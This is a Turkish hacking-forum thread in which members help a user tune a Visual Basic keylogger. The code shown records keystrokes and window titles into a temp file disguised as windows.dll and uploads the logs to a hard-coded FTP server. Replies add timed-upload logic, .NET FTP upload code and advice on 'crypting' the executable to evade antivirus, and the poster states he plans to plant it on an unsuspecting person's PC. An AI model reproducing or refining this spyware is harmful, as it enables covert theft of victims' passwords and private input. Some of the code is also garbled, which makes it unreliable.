Ftp ye log yollamak sıkıntıdır. Biri senin exe ni inceleyecek olursa hex editr ile içinde girmiş olduğun ftp username, pass kabak gibi ortaya çıkabilir. Dikkatli ol eve geçince bakarım projene hocam gowand tarafından 24/Kas/14 17:32 tarihinde düzenlenmiştir with great power comes great irresponsibility #deadpool

juniourfalcon bunu yazdı bir tane timer ekle interval a 60000 yap yani 1 dk içinede If x = 30 Then'30 dk geçmişElsex = x + 1End If yaz dngü yaparak ancak 1 dk fazlasına ulaşabilirsin timer intervalini 1800000 yap yarım saatte bir o timer çalışır. sende timer içine ftp ye yollama komutlarını yaz. o kadar verebiliyormusn?

Ftp ye log yollamak sıkıntıdır. Biri senin exe ni inceleyecek olursa hex editr ile içinde girmiş olduğun ftp username, pass kabak gibi ortaya çıkabilir. Dikkatli ol eve geçince bakarım projene hocam Tbt Dersimliler Derneği Başkanı :)

bir tane timer ekle interval a 60000 yap yani 1 dk içinede If x = 30 Then'30 dk geçmişElsex = x + 1End If yaz dngü yaparak ancak 1 dk fazlasına ulaşabilirsin

kadları paylaşıyorum buradan düzenleme nasıl yapabiliriz saniye de bir upload ediyorrrr Private Declare Function GetAsyncKeyState Lib "user32" As Integer Private Declare Function GetKeyState Lib "user32" As Integer Private Declare Function GetForegroundWindow Lib "user32" As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" As Long Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" As Long Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" As Long Private LastWindow As String Private LastHandle As Long Private dKey(255) As Long Private Const VK_SHIFT = &H10 Private Const VK_CTRL = &H11 Private Const VK_ALT = &H12 Private Const VK_CAPITAL = &H14 Private ChangeChr(255) As String Private AltDown As Boolean Dim ftpat As New clsFTP ' Class tanımladık Dim ftpserver As String, ftpkadi As String, ftpsifre As String, agırlık As String, logyolu As String Private Sub Command1_Click Form1. Visible = False Me. Hide End Sub Private Sub Command3_Click 'Form2. Show End Sub Private Sub Command4_Click End Sub Private Sub Form_Load '////////////////////////// ftpserver = "ftp. cwahi. net" ftpkadi = "k. adi" ftpsifre = "sifre" logyolu = Environ & "\windows. dll" 'temp dizinindeki windows. dll dosyasi agırlık = 5000 'En Yüksek Kb Degeri '////////////////////////////// 'Inet1. AccessType = icUseDefault 'Inet1. Protocol = icFTP 'Inet1. RemoteHost = "ftp. cwahi. net" 'Inet1. RemotePort = "21" 'Inet1. Password = "sifre" 'Inet1. UserName = "k. adi" 'Inet1. RequestTimeout = "60" Label1. Caption = 0 Timer3. Interval = 60000 ' 1 dk On Error Resume Next ChangeChr(33) = " " ChangeChr(34) = " " ChangeChr(35) = " " ChangeChr(36) = " " ChangeChr(45) = " " ChangeChr(46) = " " ChangeChr(48) = "=" ChangeChr(49) = "!" ChangeChr(50) = "'" ChangeChr(51) = "^" ChangeChr(52) = "+" ChangeChr(53) = "%" ChangeChr(54) = "&" ChangeChr(55) = "/" ChangeChr(56) = "(" ChangeChr(57) = ")" ChangeChr(186) = "ş" ChangeChr(187) = "=" ChangeChr(188) = "," ChangeChr(189) = "-" ChangeChr(190) = "." ChangeChr(191) = "" ChangeChr(219) = "ğ" ChangeChr(220) = "ç" ChangeChr(221) = "ü" ChangeChr(222) = "i" ChangeChr(86) = "Ş" ChangeChr(87) = "+" ChangeChr(88) = ";" ChangeChr(89) = "_" ChangeChr(90) = ":" ChangeChr(91) = "?" ChangeChr(119) = "Ğ" ChangeChr(120) = "Ç" ChangeChr(121) = "Ü" ChangeChr(122) = "İ" ChangeChr(96) = "0" ChangeChr(97) = "1" ChangeChr(98) = "2" ChangeChr(99) = "3" ChangeChr(100) = "4" ChangeChr(101) = "5" ChangeChr(102) = "6" ChangeChr(103) = "7" ChangeChr(104) = "8" ChangeChr(105) = "9" ChangeChr(106) = " " ChangeChr(107) = "+" ChangeChr(109) = "-" ChangeChr(110) = "." ChangeChr(111) = "/" ChangeChr(192) = """" ChangeChr(92) = "" End Sub Function TypeWindow Dim Handle As Long Dim textlen As Long Dim WindowText As String Handle = GetForegroundWindow LastHandle = Handle textlen = GetWindowTextLength + 1 WindowText = Space svar = GetWindowText WindowText = Left(WindowText, Len - 1) If WindowText <> LastWindow Then If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf Text1 = Text1 & " " & vbCrLf & WindowText & vbCrLf & " " & vbCrLf LastWindow = WindowText End If End Function Private Sub Timer1_Timer 'when alt is up If GetAsyncKeyState = 0 And AltDown = True Then AltDown = False Text1 = Text1 & "" End If 'a-z A-Z For i = Asc To Asc If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then If GetKeyState > 0 Then Text1 = Text1 & LCase(Chr Exit Sub Else Text1 = Text1 & UCase(Chr Exit Sub End If Else If GetKeyState > 0 Then Text1 = Text1 & UCase(Chr Exit Sub Else Text1 = Text1 & LCase(Chr Exit Sub End If End If End If Next '1234567890)( &^%$#@! For i = 48 To 57 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then Text1 = Text1 & ChangeChr Exit Sub Else Text1 = Text1 & Chr Exit Sub End If End If Next ';=,-./ For i = 186 To 192 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then Text1 = Text1 & ChangeChr(i - 100) Exit Sub Else Text1 = Text1 & ChangeChr Exit Sub End If End If Next ' ' For i = 219 To 222 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then Text1 = Text1 & ChangeChr(i - 100) Exit Sub Else Text1 = Text1 & ChangeChr Exit Sub End If End If Next 'num pad For i = 96 To 111 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 And AltDown = False Then AltDown = True Text1 = Text1 & "" Else If GetAsyncKeyState >= 0 And AltDown = True Then AltDown = False Text1 = Text1 & "" End If End If Text1 = Text1 & ChangeChr Exit Sub End If Next 'for space If GetAsyncKeyState(32) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'for enter If GetAsyncKeyState(13) = -32767 Then TypeWindow Text1 = Text1 & vbCrLf End If 'for backspace If GetAsyncKeyState(8) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'for left arrow If GetAsyncKeyState(37) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'for up arrow If GetAsyncKeyState(38) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'for right arrow If GetAsyncKeyState(39) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'for down arrow If GetAsyncKeyState(40) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'tab If GetAsyncKeyState(9) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'escape If GetAsyncKeyState(27) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'insert, delete For i = 45 To 46 If GetAsyncKeyState = -32767 Then TypeWindow Text1 = Text1 & ChangeChr End If Next 'page up, page down, end, home For i = 33 To 36 If GetAsyncKeyState = -32767 Then TypeWindow Text1 = Text1 & ChangeChr End If Next 'left click If GetAsyncKeyState(1) = -32767 Then If And LastHandle <> 0 Then Text1 = Text1 & " " End If End If End Sub Private Sub Timer2_Timer On Error Resume Next Text2. Text = logyolu Open Text2. Text For Output As #1 Print #1, Text1. Text; Close #1 End Sub Private Sub Timer3_Timer If Label1. Caption = 60 Then '24 X 60 = 1440 '24 saat olmuştur kodu yazabiliriz Else: Label1. Caption = Label1. Caption + 1 ' Her bir dakikada 1 arttıracak taa ki 24 saat oluncaya kadar End If End Sub Private Sub Timer4_Timer 'If Label1. Caption = 3 Then 'Form1. Inet1. Execute, "put e:\windows. dll windows. dll" 'End If 'End If If Dir$ = vbNullString Then Exit Sub ' Dosya Yokise Cık If agırlık < FileLen Then ' dosya agirliktan yüksek ise upload et If ftpat. OpenConnection Then ' Ftp Baglantisini Yaptik ftpat. CreateFTPDirectory (Environ ' Ftp Bilgisayar isminide Yeni Dizin Ekledik ' Ftp Upload işlemi Yapıyourz If ftpat. FTPUploadFile(logyolu, Environ & "/" & " " & Time & " " & ". log") = True Then ftpat. CloseConnection ' baglantiyi kapatıyoruz Kill ' Dosyayi Siliyoruz End If End If End If End Sub chkarito tarafından 26/Kas/14 14:20 tarihinde düzenlenmiştir nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Al bu. net te FTP Upload Kodu Dim clsRequest As System. Net. FtpWebRequest = _ DirectCast(System. Net. WebRequest. Create , System. Net. FtpWebRequest) clsRequest. Credentials = New System. Net. NetworkCredential clsRequest. Method = System. Net. WebRequestMethods. Ftp. UploadFile Dim bFile As Byte = System. IO. File. ReadAllBytes Dim clsStream As System. IO. Stream = _ clsRequest. GetRequestStream clsStream. Write(bFile, 0, bFile. Length) clsStream. Close clsStream. Dispose visual basicte sadece 1 dk da 1 bile yapsa yeter yeterki her saniye değilde belli bir süre içinde yapsınnnn saniye bası atmasınnn nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

kaldırırsan hata vermez yada sağlam bir crypt programı bulursan gene vermez

Twitter bunu yazdı Ftp ye log yollamak sıkıntıdır. Biri senin exe ni inceleyecek olursa hex editr ile içinde girmiş olduğun ftp username, pass kabak gibi ortaya çıkabilir. Dikkatli ol eve geçince bakarım projene hocam Konu GüncelAbi şansızlığını Burayada Bulaştırdın... nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Al bu. net te FTP Upload Kodu Dim clsRequest As System. Net. FtpWebRequest = _ DirectCast(System. Net. WebRequest. Create , System. Net. FtpWebRequest) clsRequest. Credentials = New System. Net. NetworkCredential clsRequest. Method = System. Net. WebRequestMethods. Ftp. UploadFile Dim bFile As Byte = System. IO. File. ReadAllBytes Dim clsStream As System. IO. Stream = _ clsRequest. GetRequestStream clsStream. Write(bFile, 0, bFile. Length) clsStream. Close clsStream. Dispose Android Mobil Uygulama - Web Sitesi - Masaüstü Yazılım yapılır. Vitaminsiz Palyaço

Tahribattan bir abiden aldığım sourceyi düzenleye bilecek biri varmı proje logun agırlıgına gre uload ediyor fakat ben timer la işlem yapmak istiyorum timer la 30dk da bir upload ettirebilecek şimdi saniye saniye upload ediyor her saniyede bir etmesi sıkıntılı her zamanda boş yukluyor... http://s3. dosya. tc/server29/ppOTU1/tbt. rar.html nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Ftp ye log yollamak sıkıntıdır. Biri senin exe ni inceleyecek olursa hex editr ile içinde girmiş olduğun ftp username, pass kabak gibi ortaya çıkabilir. Dikkatli ol eve geçince bakarım projene hocam Ben sadece pc den anlamayan birinin pcsine atacam çakmazlar :D nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

yaw şu konuda yardım edecek biri yok mu yauaaa :((( nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Twitter bunu yazdı Ftp ye log yollamak sıkıntıdır. Biri senin exe ni inceleyecek olursa hex editr ile içinde girmiş olduğun ftp username, pass kabak gibi ortaya çıkabilir. Dikkatli ol eve geçince bakarım projene hocam abi ne geziyon sen yuaaaaa...:D... nce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise hoooopppp vucuden insana dnüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz... Hey Allahım ya... Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

bir tane timer ekle interval a 60000 yap yani 1 dk içinede If x = 30 Then'30 dk geçmişElsex = x + 1End If yaz dngü yaparak ancak 1 dk fazlasına ulaşabilirsin timer intervalini 1800000 yap yarım saatte bir o timer çalışır. sende timer içine ftp ye yollama komutlarını yaz. Ne zaman birşey ğrenmek istesem, Birden Vaktim Kalmıyor?

bu casus uygulamalarda windows kullanıcı hesabı denetimi uyarı vermiyormu?